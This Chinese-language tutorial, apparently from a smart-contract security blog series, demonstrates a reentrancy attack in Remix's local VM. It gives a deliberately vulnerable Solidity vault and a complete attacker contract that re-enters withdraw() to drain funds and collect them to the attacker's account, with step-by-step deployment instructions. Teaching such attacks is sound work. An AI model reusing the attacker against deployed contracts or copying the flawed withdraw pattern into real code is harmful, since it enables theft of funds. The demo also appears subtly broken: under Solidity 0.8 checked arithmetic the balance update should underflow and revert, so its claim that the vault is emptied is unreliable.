今天實作示範一個經典漏洞:重入攻擊(Reentrancy) 的實際演練。流程很簡單:
在 Remix 貼上「脆弱合約」(VulnerableVault)並部署到 Remix VM / JavaScript VM,
再部署一個攻擊合約(Attacker),用它觸發重入,
觀察 deposit → withdraw 被不當重複執行並將 Vault 掏空。
🔹 三句話速記
漏洞關鍵:在 withdraw 中 先發送 ETH,再更新 state(balances),造成回呼可重複提款。
示範需兩個合約:VulnerableVault(被害合約)與 Attacker(含 fallback 的攻擊合約)。
修復策略(Day 29):Checks → Effects → Interactions 或 ReentrancyGuard。
🔹 漏洞合約
檔名建議 VulnerableVault.sol,複製貼上即可編譯:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract VulnerableVault {
mapping(address => uint256) public balances;
// 接受初始資金
constructor() payable {}
// 存入資金
function deposit() external payable {
require(msg.value > 0, "send ETH");
balances[msg.sender] += msg.value;
emit Deposited(msg.sender, msg.value);
}
// 提款函式 (存在重入漏洞)
function withdraw(uint256 _amount) public {
require(balances[msg.sender] >= _amount, "Insufficient balance");
// 外部呼叫:這裡是漏洞點,msg.sender是Attacker合約地址,會觸發其receive()
(bool success, ) = msg.sender.call{value: _amount}("");
// VULNERABLE: 狀態在外部呼叫成功後才更新
if(success) {
balances[msg.sender] -= _amount;
} else {
// 如果send failed,回滾
revert("send failed");
}
emit Withdrawn(msg.sender, _amount);
}
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
event Deposited(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
}
🔹 攻擊合約
檔名建議 Attacker.sol,部署時傳入 Vault 地址:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
// 由於 Attacker 合約需要呼叫 VulnerableVault,我們需要其介面定義
interface IVulnerableVault {
function deposit() external payable;
function withdraw(uint256 amount) external;
function contractBalance() external view returns (uint256);
}
contract Attacker {
// 將 Vault 定義為不可變 (immutable)
IVulnerableVault public immutable vault;
address public immutable owner;
// 儲存單次提款金額,避免在 receive() 中讀取昂貴的 storage (s_amountToWithdraw)
// 我們將在 attack() 中使用 msg.value 來推斷這個值
// 1. 建構函式:部署時設定目標 Vault 地址
constructor(address _vaultAddress) {
vault = IVulnerableVault(_vaultAddress);
owner = msg.sender;
}
receive() external payable {
// 檢查 Vault 內是否還有錢可提
if (address(vault).balance >= msg.value) {
// 1. 編碼呼叫數據 (使用 abi.encodeWithSelector 這是必要的)
bytes memory callData = abi.encodeWithSelector(
// 由於 IVulnerableVault 已經定義,使用 selector 簽名是最好的
IVulnerableVault(address(vault)).withdraw.selector,
msg.value
);
bool successResult;
bytes memory returnData;
(successResult, returnData) = address(vault).call(callData);
// 為了消除 'Unused local variable' 的警告,但又不影響執行邏輯,
// 在不改變狀態的前提下使用變數:
if (returnData.length > 0) {}
if (successResult == false) {}
}
}
// 2. 攻擊發起點
function attack(uint256 amount) external payable {
// 確保發送給 Attacker 的 ETH 量與存款量一致
require(msg.value == amount, "send value must equal amount");
// 1. 存入資金,確保 Attacker 在 Vault 中有餘額可提
vault.deposit{value: msg.value}();
// 2. 第一次提款,啟動重入迴圈
// 由於 msg.value == amount,這裡會呼叫 vault.withdraw(msg.value)
vault.withdraw(amount);
}
// 3. 提領攻擊結果到攻擊者 EOA
function collect() external {
require(msg.sender == owner, "Only owner can collect");
// 使用 low-level call 提款,更健壯
(bool success, ) = payable(owner).call{value: address(this).balance}("");
require(success, "Collection failed");
}
// 輔助功能
function attackerBalance() public view returns (uint256) {
return address(this).balance;
}
}
🔧 Remix(JS VM)逐步操作
開啟 https://remix.ethereum.org → 左邊工具列點 🚀 Deploy & Run Transactions。
Environment:選 Remix VM (Cancun)(或 JavaScript VM),Account 選第一帳號作為 deployer。
新增檔案 VulnerableVault.sol、貼上上方 VulnerableVault 程式,編譯(確保 compiler 與 pragma 相符)。
在 Deploy 面板選 VulnerableVault → 點 Deploy。
複製剛部署的 VulnerableVault 合約地址(右側 Deployed Contracts 的地址欄)。
新增檔案 Attacker.sol、貼上攻擊合約程式,編譯。
在 Deploy 面板選 Attacker,constructor 欄位貼上 VulnerableVault 地址,點 Deploy(此合約會成為攻擊者合約)。
Victim deposit(模擬第三方存款):
在右上方的 Accounts 選第二或第三個帳戶(模擬受害者)。
在 VulnerableVault 欄位的 Value 輸入 2,單位選 ether,點 deposit(這會把 2 ETH 存入 Vault)。
可呼叫 contractBalance() 確認顯示 2000000000000000000(2 ETH,wei)。
執行攻擊:
切回 Attacker 的部署者帳號(通常為第一帳號)。
在 Attacker 欄位的 attack 輸入 1(ether)為 value,點 attack。
這會觸發重入,觀察交易結果與合約餘額變化。
觀察結果:
呼叫 VulnerableVault.contractBalance()(應接近 0)
在 Remix 的 Transactions 清單中找到那筆 attack 交易 → 點入查看 Decoded Logs / Internal Transactions,你會看到多次內部 transfer 或多個 Withdrawn event(如果有 emit)。
(可選)執行 Attacker.collect() 把 Attacker 合約餘額轉回 EOA,並驗證該帳戶的 ETH 增加。
這個實驗是理解重入攻擊最直觀的方法:你會看到錯誤只是「一行狀態更新順序」就能導致巨額損失。實務上,Checks → Effects → Interactions 與使用成熟庫(OpenZeppelin 的 ReentrancyGuard)是第一道且最有效的防線。下次部署任何處理資金的合約前,務必在本地用 JS VM 做攻防測試。